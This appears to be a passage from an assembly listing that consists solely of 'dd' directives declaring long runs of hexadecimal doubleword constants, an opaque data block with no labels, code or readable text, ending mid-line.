dd 0AC452210h, 0F89B85C0h, 0F0C3C200h, 5CB5FB83h, 687B19A3h dd 0F087C804h, 6C50E0AEh, 0B2FC35B8h, 5B958E00h, 88E15C2Bh dd 63B70057h, 4E861164h, 193B2D82h, 0A22E8401h, 1C805EE2h dd 0FC997Eh, 67D72152h, 9023C9ECh, 18CA48h, 6EB8E0BDh dd 91C9A4Dh, 0C021F0ABh, 9E713401h, 0D34C205Ah, 31FDF530h dd 2FB7502h, 0BE152A5Eh, 54603910h, 20FC8621h, 76EB1103h dd 388567h, 23DC4718h, 0F5AFECF8h, 0DA440E15h, 91430FCCh dd 0E5572042h, 605699h, 97CD9C39h, 0C54C1406h, 0B18C4100h dd 0AF5A223Fh, 0E6F747Fh, 4F39E0D0h, 0BC9B4CE0h, 88FA902Ch dd 1D0002FCh, 5BA00ACAh, 3AC1E477h, 0FB011062h, 1A391393h dd 632CD83Eh, 153C58h, 0CB83AA2Ah, 852CFh, 66AF5189h, 6A426854h dd 98DB6B00h, 52DC05CAh, 0D40600B7h, 54D13F7Ah, 0D6019739h dd 0CDA23314h, 0E5D8B2D3h, 0D8D46F38h, 0C06D80BFh, 0CA5B44ABh dd 0D85D7400h, 77F5DE2Ch, 83030BCBh, 0E3011C67h, 0CCAB9F07h dd 0E91E6079h, 6457493Ah, 9CED600h, 3517B5Fh, 4FF12E6Eh dd 37904426h, 5B908D17h, 11928C07h, 0EBA056AFh, 0A7496Eh dd 0B0EF8134h, 35CFD629h, 0AFB7C500h, 39579B93h, 43330003h dd 0AD523F41h, 6F002BF8h, 9277AFC7h, 0FE0EFD2Fh, 0BDE5009Eh dd 15F99834h, 9102B5F2h, 0E88744D7h, 0BBB46889h, 12950309h dd 0C263FEDh, 38A3D2A0h, 57F9A001h, 0EE6ED804h, 0B00070B9h dd 32C3D7DAh, 13003D48h, 2FA62A90h, 3ED0F3h, 5D0D3B0Ch dd 0D85EC991h, 8C100F60h, 265C1639h, 6A2981Ah, 4190C199h dd 0F610A603h, 0C80FE632h, 33F209Eh, 5EC780DFh, 2EB03BC6h dd 1500A0D9h, 3CCA0A36h, 0E30637h, 0BFE85288h, 561A7942h dd 0EFAAB300h, 9074623Dh, 0CC49A73h, 0E83C5E8Ch, 1000C4C0h dd 0BCC65D44h, 7AFDA3E3h, 9A7A0090h, 0AE3D3A4Eh, 1403A091h dd 6D2CF656h, 19C0A8A3h, 0AC3F824h, 89C58AB9h, 9C8D00C4h dd 0A385F880h, 10515006h, 36BB37h, 69A57C21h, 0E10C5C24h dd 4D957D0Fh, 68ED6793h, 0F26A3D50h, 2EAB00FEh, 33854899h dd 9316236Dh, 101C02A8h, 5C69807Fh, 32553D7Ch, 8C043E67h dd 0A5425B00h, 7A0AC16Fh, 0EBD0B601h, 1A73F926h, 1CD73480h dd 1EC4EF11h, 6003412Dh, 0E491DC0Bh, 0C38900B1h, 0E90D4099h dd 7C03D5EFh, 0F814596Dh, 5B88E0C7h, 3E8B1EB5h, 0A3740F70h dd 0F0B84FA0h dd 3600240Bh, 5B9B99B4h, 0B1ECA9Dh, 0CFB2A0CDh, 0D3143C10h dd 9800B0BAh, 23113536h, 0E67D4Ch, 5EFC046Dh, 0EDAF4E0Ch dd 33391600h, 0E369FD2Bh, 589439FBh, 0E646CB0Eh, 0BAD9EE40h dd 4C01313Bh, 8EF7E982h, 0E440107Bh, 74C8DD98h, 0A9D918E6h dd 0FB5171BAh, 204D3Ch, 0C2D47C8Fh, 0BD58382h, 0A88DE031h dd 6F091810h, 570169E6h, 58B1CD0Bh, 0C4409A76h, 6654B838h dd 40F528B7h, 1E627B1Fh, 65D3580h, 0C2BEBE8h, 68197A7Fh dd 0C100CDE8h, 0C94EEE5Ah, 83DDBAh, 541D77CCh, 1438FC8Fh dd 6F0B18C0h, 0F0E3A792h, 0C6D60055h, 0FF2BA496h, 2C060AF4h dd 0B89D9E40h, 20530CC9h, 0D7B0DD4Dh, 0B5AF90Fh, 1658E1FFh dd 0F8D461D3h, 9B280305h, 9AAC842h, 0E4E820C3h, 603D2CBh dd 49C56BB3h, 1653F8C0h, 6843000Fh, 0C40B44F2h, 330B1AACh dd 0E2281E8h, 17E2A365h, 5ED0C086h, 3C310006h, 6C03D990h dd 0FB5438D1h, 0A2001E9Ch, 9D661B5Ah, 88C4F6h, 0C1BFBD53h dd 1EB309C5h, 59F0111Dh, 3AF58B00h, 302253F7h, 0B840EC25h dd 0C670C2A0h, 0EB86A4A0h, 2D0EE0FBh, 0E5C10741h, 0D035D8h dd 0EA776176h, 3B5E7234h, 483ECB98h, 6037833Eh, 0E997B3FFh dd 0D45056D6h, 405432h, 0DD9CCF8Ch, 1BED5A1Dh, 0CBF7F58h dd 6103CD25h, 80A567B5h, 424FE0DCh, 5909716Bh, 80892652h dd 4C536DBDh, 195600F7h, 934A24E0h, 32000C1Ah, 5DB8D87Ch dd 0EB035105h, 3F491EC8h, 87012C42h, 54FA366Ch, 0D0B4CBF8h dd 64D53534h, 0AF69BA0Eh, 0EF5B614Fh, 8180C3D6h, 827F6898h dd 31C0F9EBh, 0E972D99Dh, 0B01B0467h, 904AFB74h, 0C2950700h dd 0EC01E176h, 3B3CC75Ch, 0B2CC5657h, 0B57086h, 8CBFC44Bh dd 0A20CEC6Fh, 0E6FEF600h, 6EBA93E5h, 838B3A2Fh, 3FAC1B83h dd 68914304h, 849B20FFh, 8C514A0Eh, 0F0B6A067h, 13573AA8h dd 4D7EDh, 26E4F982h, 173E32DFh, 4D36002Ah, 0B20A8359h dd 7C487C9Ch, 50860103h, 0D051461Dh, 0A54EF884h, 0ABB4C806h dd 7205792h, 87D3889Eh, 0F5FD007h, 510065D0h, 4E05B862h dd 10316C4h, 84DEF9ACh, 0C9DC04CCh, 2D96D823h, 0B361CD00h dd 750658F2h, 805174CEh, 0BB37A143h, 5F80D0C0h, 26AEE9h dd 86E3174Dh, 1E018C77h, 10B76618h, 1EA91A31h, 40F7BB6Fh dd 26B5E9B8h, 0FC004ACFh, 0D47DBF8Eh, 1BC80E7h, 740F27ECh dd 60EF4598h, 0DF073641h, 68AD60F5h, 0C859BAC0h, 476772Ch dd 36893210h, 0D180FB9Eh, 785A19D6h, 94ECFF35h, 50BE01CEh dd 9B17122Dh, 5DA2D0F4h, 9FD720C1h, 5BF84B75h, 41EE0F3Fh dd 968051D8h, 2562B35Dh, 0E330A3E8h, 97B480A1h, 447E30A4h dd 0A5BE3520h, 0DC073800h, 27514BB0h, 548211B7h, 0E41907BBh dd 2F87DF39h, 65DC0380h, 51361F28h, 0AE69F099h, 1F181C7Ch dd 5C60199Ch, 3CF203h, 4C9D3629h, 0C92FC6BEh, 0CA0E6E00h dd 4E271719h, 8F8300E7h, 29F49F4Dh, 0DD1F7D2Ah, 4053B89h dd 0C002444h, 3E0FFBCEh, 0D198A03Dh, 97F500BBh, 99C51760h dd 0FE005BBDh, 8B753590h, 0E5EFBFh, 5CE47D7Ah, 0BCC26278h dd 357F500h, 9AE6879Bh, 5430002Eh, 89E0370Eh, 69C0F3FAh dd 9C7569B5h, 45CC005Ah, 1742F860h, 0BA005CD2h, 0EB76B7C3h dd 347ED5Bh, 5272F45Eh, 0FAE0E1CBh, 0EF7C797Dh, 270B0E00h dd 0B13FEBFFh, 5E59C099h, 3AAA74E8h, 30006AEAh, 2411D952h dd 9C032Dh, 2605F466h, 0D7AEC13h, 0FD1CBA1Ch, 0EB3C78h dd 2519520Fh, 7A9526A7h, 0B460034Ah, 61D49377h, 0EC0CFAC1h dd 64012E33h, 0C210FD16h, 0C7F5F6E7h, 989C7BD5h, 1C0C008Ah dd 878F4D67h, 7E410358h, 0A9508D00h, 0A9DB37Eh, 0DFEF3BFCh dd 0BFFB2300h, 44676089h, 0AFD30C06h, 40EBE4h, 62CD73A3h dd 6A6D09DBh, 6B19D260h, 1D4F797Ch, 805260BEh, 82AA984Dh dd 20C716E0h, 513C70BFh, 9E0A061Ah, 108DF8C5h, 0DB656E18h dd 1D4F8349h, 7EF2A22Fh, 4B00203h, 0A4F0AE51h, 35000B99h dd 0E9E8A71Dh, 17206CF6h, 0E0A073D2h, 40CAB13h, 6878C2AEh dd 6F9E0092h, 8A26CEC5h, 611524DDh, 7C844511h, 4B5A4601h dd 3834CD33h, 0B20088BEh, 0D3D722BDh, 0DEE08EBCh, 534D1400h dd 9917EF69h, 0FEC2001Ch, 937845C8h, 0EE00E6BFh, 149A0D16h dd 773C3Fh, 0C8AD23CEh, 0BD0528C4h, 8CC5C30Eh, 35E3605Eh dd 300284EDh, 497130C2h, 4D00F226h, 3362E52Bh, 5EF96E1h dd 4774FCBEh, 709840D2h, 0DD5258ABh, 66E1BD00h, 426F6E5Ch dd 496961D6h, 0E57E318Eh, 0D1B5DC20h, 0C0354E03h, 9823F15Eh dd 0AAFB8Ah, 4D44E59Dh, 0F63652DFh, 10E64F4h, 895A45B4h dd 7E5407B5h, 0D6A9818Eh, 8E83A86h, 88390757h, 0C72C8E87h dd 0ADCC0001h, 2E78702Dh, 7921FA0Ch, 0EB40A8h, 0FF659A85h dd 73AF364h, 8EA14200h, 152D35C1h, 8AE10226h, 0FD0A7444h dd 7CAC270Fh, 0E0259753h, 0ECCBB5BBh, 2AFE30A9h, 2F220F20h dd 6EDDEA01h, 6DB3EE35h, 249DE8h, 9546FECCh, 0E7F65737h dd 99D96807h, 48F0CA64h, 0C66212A1h, 0A19032B1h, 0B68BCB0Ch dd 12193Fh, 8635E757h, 0CCCA1F9h, 0FB504DECh, 0E4002684h dd 25840ABAh, 0C7ACCAEDh, 0F07DB440h, 57AEB382h, 0CFF65400h dd 674B0605h, 2D4900B9h, 8AF7AB96h, 0AA00A3E8h, 1C71A932h dd 7158E90Bh, 69E60163h, 7EA1EF0Fh, 0A42448FDh, 6747B513h dd 0E3122B01h, 79705037h, 0C8B25039h, 38DA30C9h, 0F41F79B8h dd 3027D37Fh, 85DA81C2h, 87C4C6E6h, 0E92A0C25h, 0C9384C4Bh dd 3EF9A80Ah, 7301E4FBh, 74159184h, 9C05E806h, 4DB8DAE6h dd 1FE7C000h, 9FEA21h, 111B0F73h, 246FE40Dh, 959751Ch dd 0A038D400h, 7BF42510h, 0B8F53F67h, 33424300h, 0B94A352Ah dd 0C3D30403h, 7CEFCE3Ch, 3B1D7358h, 4698E698h, 1CA97836h dd 0F506A17Eh, 0A3C62352h, 4FF622A8h, 604B5301h, 9B6731C1h dd 0C3E606C7h, 1195E9E4h, 0FE84FB01h, 0C50DD3DBh, 13CCCE8h dd 0CCA73A9h, 0A63336EFh, 46031A69h, 0D072D487h, 0C0AA7C88h dd 8C300118h, 990007B2h, 93404CC1h, 2559D11h, 0DF98A4CEh dd 9EE08D27h, 0F93F7A77h, 5E660075h, 0AB6EEB03h, 0A053906Fh dd 0F0C12960h, 516900D9h, 0B597D6DAh, 390EF0D7h, 5CD05BF5h dd 0FCE719C0h, 39BABC7h, 8A10BA99h, 13B069A1h, 0E0ED39A3h dd 0CB00BB8Ch, 0EE0E1C1Fh, 3DD5F32h, 0E0D64087h, 68008A60h dd 9D6EE74Ch, 3FE8443Ch, 6601C826h, 0B3060246h, 4C881C3h dd 0D1CB2A3Bh, 36396F4h, 206D4445h, 0D5D8BEA0h, 4338EE03h dd 3072809Dh, 5CB24FCDh, 76A3007Bh, 7308DE24h, 0BE0C47ACh dd 7993D770h, 0F07A1831h, 85349040h, 9AF43301h, 9F9B08F2h dd 7C561880h, 6BB105A6h, 8725910Eh, 2901404Dh, 1F4255h dd 0CE2630D4h, 0AABB252h, 15FBFA1Fh, 4B516603h, 48102905h dd 1898D004h, 2E10DE60h, 74E6AEF6h, 44600AAh, 0E85B3062h dd 470CC3E4h, 2011DFFDh, 5DC039B9h, 7CF34B80h, 0E962D508h dd 0D0BD100h, 406CD68Dh, 71CC0089h, 601DAD5Fh, 500CD1Ah dd 0AF5B3C54h, 0A9B827Bh, 0E9F2C6D3h, 1E2807B5h, 107D4737h dd 0B302AB3Fh, 77FB4107h, 0A0CFC718h, 0A62ACF4Dh, 0BD140F6Eh dd 8CC0B94Bh, 0F111ECEh, 360BA3Ah, 0A54CD427h, 0BFABD875h dd 31680019h, 49FF775Dh, 9C009B47h, 0C875436Ah, 76695EDh dd 2BB78D5Ah, 76B3A00Dh, 63795FB8h, 4AA13Dh, 9EC307EBh dd 0F477ECh, 0F26B5CF9h dd 4415E8A5h, 0ED412E00h, 7FC0B737h, 0D86907AFh, 326677Bh dd 488076D3h, 0AE008834h, 1C72E321h, 0B0C57546h, 0B9F27Ch dd 234704F5h, 83026AAh, 3A430F1Ch, 0E9C0A980h, 0A010DA1Eh dd 8828D0h, 8506B95h, 0D6599D77h, 18BE20Bh, 99A480EFh dd 0C09E57C8h, 394031FCh, 81C0D50Ch, 0BFFE887Dh, 6CB100B9h dd 692BE32Eh, 0EA608624h, 0AAFDAD91h, 0CB163B43h, 1896C780h dd 0DAB29001h, 474D0600h, 3AEF3170h, 0EDA10008h, 0FCA9D1Ch dd 34005C60h, 0E63504F6h, 7F9FC8h, 2D1526B0h, 320F8C86h dd 0BBC2D828h, 20CDA400h, 0EAE19FBCh, 2E7B3946h, 0C001B600h dd 0F45FA1BAh, 9BE06D00h, 0C85795B3h, 0B83D716Ah, 0A670371h dd 0E0A25FC9h, 0FBB96DD8h, 0A9DA8E00h, 4B94E502h, 95AF3AD1h dd 2497F000h, 0F60C532Dh, 0D91C1C78h, 873C462Fh, 42960A61h dd 2E2CE830h, 37B70921h, 40000DCEh, 0C5954C19h, 0DE703E7Ah dd 0C8E30A00h, 0B0F72BA1h, 4B0100A7h, 0D6248A17h, 4146EBCh dd 1FB04879h, 960045B8h, 89DD65FCh, 0BABD0316h, 0CBEFDB08h dd 197C4AE0h, 0B356B4A0h, 4BDD1100h, 58E893D5h, 5C36126Ah dd 0A4880080h, 24EF68CAh, 9C005EE2h, 5B75C7BDh, 1E1B7EDh dd 0AA65B5E4h, 8058B09Bh, 6C17CD30h, 382287E8h, 0C41EBDA5h dd 5C52C098h, 0FEAE5941h, 708164Dh, 0F3A5B5D2h, 1F4D1C50h dd 606D1D7Dh, 562303FBh, 0A00217DEh, 0FD509A97h, 0CE4C057h dd 152B00D7h, 0ACCF1C93h, 90006EC5h, 0A33B54E5h, 76C16A0h dd 41E24210h, 0A378F762h, 0E3CBE73Fh, 6AE5CF0h, 88D17B01h dd 58B69430h, 0F187D987h, 0AA97F39Ah, 0CA34C800h, 0FBFF7D5h dd 0B3E42BE3h, 8810074h, 0E2526EF7h, 1283EB00h, 6F031079h dd 609701D1h, 3DD97C4Eh, 1F9EDC6Ch, 5E187A00h, 0A081DC69h dd 67231D0Eh, 568D409Dh, 2BD412A6h, 4C11E00h, 0D73D3458h dd 0FCDD00E5h, 5D98C5EBh, 0A2007D7Ch, 0FAAB85E1h, 0A00540ECh dd 0B0FBEB92h, 0A7B300AFh, 48D0D3B0h, 412E5A22h, 0FF00CCB6h dd 81662984h, 50F21F87h, 0E0AED911h, 327BE0A7h, 33D3A03h dd 0A0A37C9Bh, 293CB5h, 0D8CDC7BEh, 8AA5F6AEh, 68D79314h dd 0FFE04C8h, 10906258h, 76607C6Ah, 66F40050h, 4AF91F85h dd 0CBFCA44Dh, 2491E500h, 0DFB04CB9h, 54140093h, 9C2103EEh dd 5C7AFAA0h, 0CEBF3D00h, 2B02E5D1h, 0DA4A0AB6h, 4EE0E3FDh dd 59520D20h, 0A3006DB8h, 0C498A72Ah, 727EACh, 2FE612E1h dd 65429A02h, 6A62C9F5h, 744AB0h, 0A2C3F3C9h, 6DC6023Fh dd 9E3D600h, 1D399981h, 8DB1006Ch, 0F0CEE65Dh, 7E70754Ch dd 8BAD4112h, 20D17B0Eh, 3B0E057Ch, 91C903ABh, 5D855902h dd 968F9480h, 0D1E6C000h, 3D86FFA6h, 4357385Ah, 51B79C09h dd 0B68AD020h, 0D80BFBF0h, 80441EB5h, 0F968766Ah, 4AA800D2h dd 0C6DA8186h, 5277D134h, 314C8C92h, 16710704h, 2BB992B5h dd 56260584h, 0CBDB870Eh, 948900E1h, 2C9CCE2Ah, 806041C1h dd 9AD2A34Ah, 67E0B3F8h, 3FE2BB00h, 6A7EAB3Dh, 648707C8h dd 0E05CE8F2h, 385B1666h, 0BF883100h, 0C77BE763h, 59E530BBh dd 2136A388h, 0F61A6F00h, 8D2B83D5h, 0C0F10CB6h, 3E711F87h dd 905D7200h, 9CF8DD8Fh, 35EC0Bh, 0A9882D94h, 0FEC801EEh dd 5C499102h, 0C3623C74h, 0C3D006BAh, 49847C99h, 48DC810Eh dd 7AC484F0h, 4012A490h, 0C8DE00AEh, 45F932C1h, 8877E271h dd 0B09C6200h, 4A278D17h, 306D726Eh, 1E8AEB1h, 0C9008F7Ah dd 7EB613B5h, 0E4FBD7D5h, 0BA9E1386h, 224F0068h, 4208B06Bh dd 0CCBE90Eh, 4C3780A8h, 56F265h, 0AF2C4814h, 8A1921EBh dd 254D6B01h, 737B66B9h, 3FD48170h, 6E85DBF2h, 0C0D3D73Ah dd 0E5590858h, 10F0AE01h, 23AB7689h, 0FEA08460h, 0A92E00CAh dd 0FB6E57BDh, 24002AE6h, 0C7D88D5Fh, 0B6FE32h, 721FBB5Dh dd 16D91CDFh, 8758DC01h, 0B491D89Ah, 3D812030h, 518227EAh dd 0BF8AC003h, 0C9413880h, 0D57A7264h, 77A6A01Eh, 93EDEAC2h dd 3B244836h, 60624CD0h, 61F5B7B0h, 0A5D33200h, 0CEA2BC31h dd 0A15B009Ah, 0EF88499Dh, 0F2003CC6h, 8592CD9Ch, 1233F45h dd 342C5D5Ah, 6447D865h, 35587CE8h, 0A2648238h, 0E060C317h dd 0FE8836A0h, 2806005Eh, 0DD625249h, 0D1E0143Bh, 0B2DB3A05h dd 0ED0435E4h, 68828B7Dh, 5A54403Fh, 60889152h, 0EA8A0AD8h dd 5E8B691Fh, 0D02C9h, 0FF1BC18Bh, 0E407003Dh, 6C18B357h dd 0DF015EACh, 0E3EC4D64h, 0B4DFC7F1h, 0BF00F8CFh, 373F5552h dd 99099283h, 20F794B4h, 0B6AB8E5Ch, 7A84072Ch, 9EEFF2BFh dd 3B0BE681h, 0A54C20B8h, 356ED00h, 51D7257Ch, 0D34000B1h dd 55FF504h, 3E0246C9h, 0B90A1DD8h, 2F94A143h, 60899E55h dd 0CB04DF7h, 0C051914h, 0E9C9FBFAh, 1AB21680h, 700A5938h dd 8D65E309h, 0CDFB9C20h, 0C409B954h, 10845ED1h, 4A00CCCh dd 0E0EFB30Bh, 0DAB88015h, 0F63BEC7Ah, 37590385h, 1C6496D4h dd 80E92250h, 0F9895B63h, 0D702F2A2h, 0D5097A95h, 0F830C316h dd 776D5C54h, 33F60002h, 580E63ABh, 2A2618CCh, 81C108BBh dd 32B5B9h, 80C10C1Eh, 2F56A73h, 8585853h, 72904902h, 97157600h dd 0DA633C25h, 1E14F457h, 1A61C8Eh, 0E453123Fh, 31F7D401h dd 0D9057D72h, 9111601Dh, 0B4A84CC0h, 758E0046h, 0E529E7B0h dd 0B0A5BA5Dh, 9572CD64h, 8C2570AFh, 43C0D0C1h, 0F254913Dh dd 6500EEBCh, 0EBAA5407h, 12333CF3h, 706460B5h, 88387B78h dd 0A300CC9Ah, 2487B149h, 2819DCB7h, 0F1AC3664h, 0A16BC308h dd 0EA603080h, 63BA1940h, 0AC3F4915h, 0A3082868h, 0C4024716h dd 0C6509088h, 0CAF092E8h, 0A3A8B30Ch, 3791ADh, 0BE691A02h dd 93665EDBh, 10574Ch, 0AAF9D6BFh, 659DFBh, 8D8B5513h dd 6AA5DC03h, 0E6033E75h, 7E976EF6h, 32BC90C0h, 21E4076Fh dd 2174522Dh, 30800B25h, 4C09D205h, 37BCD0h, 0C1892689h dd 4658006Dh, 43AFA40h, 0AC00B76Ch, 0BD6AF73Eh, 0E68C69B1h dd 7C970053h, 0D611A4A7h, 0F60776D2h, 6D4807DAh, 4C42E920h dd 0FBAD01B8h, 0CC816B8Ch, 28A07E03h, 0B2470002h, 62BE1BAFh dd 92010F1Ah, 8756A558h, 0DBE45519h, 0F6896042h, 8C65C015h dd 0B043EC02h, 608DDDD8h, 0FAFD0558h, 0FFFB01A0h, 0A412E506h dd 115770F9h, 0D645B90Fh, 0DFC0DEB0h, 0B69B8B7Ah, 0EBFE3BF5h dd 1A0600F3h, 0C8579252h, 4E0069A6h, 0B23F9F24h, 4C56B4Fh dd 16FED47Ah, 4760C04Ah, 8D03B728h, 81858296h, 62800F75h dd 9A42C7FEh, 0E8406DC5h, 0B5551E05h, 96CCEC10h, 32571200h dd 8EC5728Ch, 0C0B238F4h, 94015CA7h, 381A598Dh, 0C9910098h dd 58BCFEB7h, 0A1FEB4h, 22B93A4Ah, 0FDAB2113h, 4748BA00h dd 161B6B95h, 7C070C91h, 853045D2h, 0B8494B26h, 0B78C2680h dd 0DD0D88D5h, 0BD1B0369h, 42FB32EAh, 47443007h, 0B0680AEh dd 7A50081h, 2FDB5E10h, 2B74B7E4h, 58636E30h, 3F5AF08h dd 0A49C4EC8h, 0C4D0B49Eh, 0E174A036h, 4B409701h, 0E246E68Ah dd 6BFB80D6h, 0B64D1Ah, 948E3324h, 0E6094C10h, 0CE2EC800h dd 396E512Fh, 0D0D90777h, 104DE1B5h, 0B829F8C3h, 0B000A72h dd 732BCE24h, 7C460414h, 6FD20394h, 4B312517h, 80B47EF1h dd 681BFAB8h, 240F4F23h, 1E6C428Ch, 3E1A4B16h, 6AD284A0h dd 71001B23h, 995189AEh, 0F6689Eh, 1584EBCEh, 727D8747h dd 160A22E0h, 9C57F2F9h, 6470A880h, 7D28C43h, 0A28045C2h dd 0D00744C5h dd 65821A40h, 0AFD3E31Dh, 523DA4E8h, 0BF83034Ch, 0A8BA9697h dd 2D8084h, 29D1326Bh, 0FA432513h, 0A214004h, 98F4DE06h dd 15450C90h, 1A11117Eh, 78E413Fh, 86B770BCh, 2E08F4D6h dd 8E58FDB6h, 65809672h, 46DF216Eh, 99CEB131h, 93401898h dd 3FF155Fh, 0BDFE3F7Eh, 0A7C1CC7Dh, 9A14244Ch, 0DF673Ch dd 668930E3h, 0D31086h, 4FE25F55h, 0B3F236F7h, 2B912260h dd 5D2E17h, 5049FCB5h, 522FBD92h, 15C09501h, 5871A1E7h dd 48371530h, 82675C78h, 61D4BA6Fh, 20D62377h, 1A5261D6h dd 10F410D4h, 2369850Fh, 82A470A0h, 31002401h, 0DFF2AB04h dd 0FB2D56h, 0F949DE07h, 471476F5h, 0D55616F4h, 2DC6BD8h dd 982B32CDh, 800A63D8h, 5D00CE06h, 6CB4C1C6h, 450DF76h dd 0BB36BAFCh, 8A608026h, 60072C3Fh, 76866379h, 0F825E6h dd 1DAD1C04h, 7B629D02h, 0A6697900h, 13FD530Fh, 61820024h dd 58CF76DDh, 57001EC0h, 60BBD22Ah, 3AFC75Eh, 5268E1A6h dd 1AB04DECh, 4F3EF17Dh, 0A8EE00D3h, 8417CD0Fh, 0A1B907BFh dd 60522B26h, 18CABBBDh, 9F09DCFAh, 8010A616h, 0A5082A2Ah dd 330E0192h, 87186C1Eh, 831CF05Bh, 0CBC00D00h, 0BB37DE8Dh dd 0CC9400B9h, 0C453667Fh, 0CF0CCE1Bh, 704EC352h, 0F2B100A6h dd 0B5949648h, 63098D18h, 80972BABh, 59419AE8h, 0F212004Ah dd 330FCD92h, 6A017F57h, 1A80C672h, 84487AC3h, 12E000D4h dd 4C57E5FDh, 1FE02EBCh, 0F9C60B00h, 9A6D1AAFh, 0CD9B07E1h dd 8526A47Eh, 0C046A71h, 10EB3FC8h, 91F200B9h, 0A081626Fh dd 50F0BA97h, 1E78B4F8h, 0C49C2018h, 31A120h, 0DB73B9E0h dd 0BB07348Fh, 53CA1800h, 0C12B4006h, 1AC40043h, 0D7DE6892h dd 54248A02h, 1F0085D2h, 1C0FD81Eh, 5CE1F769h, 0B692E8F3h dd 21F40051h, 4A969FA7h, 723E1D83h, 4EA08EE0h, 53864035h dd 1C29F9h, 81162120h, 0CDBEDD4Fh, 33E93Fh, 761832A2h dd 3C35EF3Ah, 0E00F243h, 0D587A0E2h, 2B0077B5h, 0D264AD70h dd 0E3F2874h, 0DEF85F9Bh, 3962ECE0h, 3C0E5BA7h, 0A02F64C6h dd 1E872330h, 1BF65Dh, 21349F5Ch, 0E0FDDFF3h, 10609800h dd 40E5912Eh, 720D0054h, 68BE35E8h, 21000880h, 441C2D0Fh dd 7506BBCBh, 0CB12869h, 0CE1F2CB4h, 156400F7h, 0DD74CC91h dd 7543593Dh, 7FCA8200h, 11301E79h, 16F0B56Eh, 18CFD800h dd 0FAFE1070h, 4A1301A6h, 9AFCA832h, 719080B4h, 2D9F3BD5h dd 8AF00BCh, 3F1BE1D7h, 0A4021636h, 6E536556h, 0CB1C40C3h dd 8A779Dh, 81E3D0B3h, 0A22A7ED1h, 2200F87Dh, 36DE4A4Eh dd 397C7A74h, 0E307C60Ch, 0C01E7750h, 32CA6225h, 9B8C7307h dd 2F10096Ah, 953DEFh, 7C24239Ch, 0FD867876h, 130BCC00h dd 2E5FB820h, 98402858h, 375000B0h, 0C2768CACh, 9D0390BCh dd 8D6A7EE2h, 2D4AB0C5h, 7093000Eh, 0A623FDBDh, 0D2005F59h dd 153DF0FFh, 115219h, 974B3294h, 3FBF6AC7h, 0B41CFEF8h dd 0FF4296E2h, 80B3766Bh, 8882218Ch, 7DEE0073h, 0D85ADF47h dd 9D0001D1h, 0A5C5716Eh, 1D9FA142h, 8E6F89BEh, 85A0163Ah dd 0ED0954A9h, 0D5B30400h, 126AFA34h, 58B4000Fh, 0D1442F3Dh dd 150069EEh, 2D6F7B9h, 0EB49A9h, 0BFDAA74Bh, 8F791117h dd 0AA603600h, 0A1095062h, 33781308h, 464900A7h, 118999D4h dd 39F4D0A0h, 0E5220507h, 0DB20CF7Fh, 122102h, 0DC258E8Bh dd 5F9CBA98h, 0D8B6B330h, 3E27EDFFh, 0F8500684h, 0E86949EFh dd 7F2AB500h, 40D72116h, 77FE4603h, 96EA02h, 0F411C238h dd 61B98EE8h, 0BC4B2200h, 1DAB2C9Eh, 19EA0012h, 798C440h dd 0A69054F2h, 5FDD7117h, 876BE600h, 0F484620Eh, 82A2009Eh dd 0E66365DBh, 81003EE7h, 74EB44ECh, 0B33513h, 0B6FEF9B2h dd 37B430D8h, 5EEBC00h, 1BF43ACh, 0DE513F56h, 0FF007B3Ah dd 0A2F63B17h, 0A9008EF0h, 1AAF999h, 0EF53D44h, 96984B55h dd 0F7882A0h, 3C00FF4Ah, 0CE7A358Fh, 0D609F8h, 0BE76B290h dd 9A972E9Bh, 1E26A700h, 0C881D8C4h, 35651E39h, 0FC017CE4h dd 0B0B70FC6h, 0E4C2E94Fh, 80AB91F7h, 385FFC0h, 5C219201h dd 0E65BF6C9h, 8388B041h, 487C42F8h, 0D1008E9Eh, 3EE28AF3h dd 9209B30Bh, 80D2C73Bh, 0D6B890C4h, 2EF8FA35h, 2271FCh dd 37EB3BD3h, 870095F0h, 403452A2h, 5F7C08h, 0B5BF717h dd 5DF5B0EFh, 6EBEE400h, 26FDC3A5h, 0AB87002Ch, 9024C78Ah dd 0C100B0EDh, 3EB67E05h, 4C3B4BDAh, 0B2CE4CAh, 822A03ECh dd 59C1BB80h, 605CECD9h, 9C856100h, 1B3275AEh, 0DAC1121Ah dd 51D70FE5h, 87EE25E4h, 7BE45094h, 90188A70h, 0BB20DEC6h dd 98DA009Ch, 2FC9613Eh, 0AC00879Bh, 0D47CE77Dh, 108549Dh dd 1DD023ADh, 0EC22B4CAh, 0B000D9FBh, 35AE4A0Eh, 2431ACBh dd 0C4F195D0h, 7C40A665h, 0CF3D7B2Eh, 0A7D900CDh, 0E0FCAB7Eh dd 0CBB50066h, 44AD4933h, 0D703878Bh, 7883A341h, 6095A08Ah dd 0D7614CF2h, 0D4F62C00h, 0C6E8114Bh, 7E841407h, 72502256h dd 8E829Ch, 610370AEh, 628F5389h, 0DD778600h, 4181D09Eh dd 0D6D7002Ah, 69FB906Bh, 44008FBBh, 0CEBF4DEAh, 0BDA354h dd 29EFB8C1h, 7D020D39h, 72A43838h, 0AE948600h, 0D1A91E47h dd 9F1814BAh, 0EF00687Fh, 6B57873Bh, 0AF0E2402h, 0C0E43D5Ch dd 0E76E6771h, 32E9002Ch, 8F8AA1D7h, 0A2E892D9h, 0E3621500h dd 0BDB0EF5h, 0AA6601E5h, 30D67585h, 0D05220CFh, 0A4BB2B07h dd 0EDB0492Dh, 772CD48h, 572C70D9h, 0B58A00E3h, 0A013623h dd 76DAC5FBh, 88F8FD47h, 1CB7B4Eh, 9180B82Ah, 307736BDh dd 40ED714h, 3D3E2D3Ch, 31FC0843h, 0B442C918h, 125D5B00h dd 61A5C800h, 2E972D24h, 0C773040Dh, 0C0E915A1h, 6CDE36C2h dd 0A6E1400h, 841697C5h, 421074Fh, 701BB9AAh, 0FBFCA172h dd 870207E4h, 3845CBBAh, 0C044C840h, 0B5510746h, 205B8810h dd 929AE4A7h, 5410A9h, 3A5824A0h, 0AC3AA926h, 1324A4A4h dd 99D40028h, 0EBA50A7Bh, 6700787Fh, 4A9F439Eh, 3413F1h dd 141A934Fh, 0E191BEB6h, 5B07D10Eh, 0DF3F80ABh, 70C0BDCh dd 643C742Fh, 0E58370FAh, 0E2EC5E4Eh, 6F00F4FCh, 8577D082h dd 2E0E678Ch, 1F8F51Bh, 1FC14BFh, 4078C95Fh, 196F5EA8h dd 17D25D3Fh, 0FF0089B1h, 439AE3ADh, 26D1C341h, 310B5081h dd 80CBC51Dh, 6FB2C49h, 6EC6008Fh, 603E1E34h, 0CA00EF53h dd 8781EBDCh, 84B5C7h, 1409B470h, 51F2A947h, 0E4004376h dd 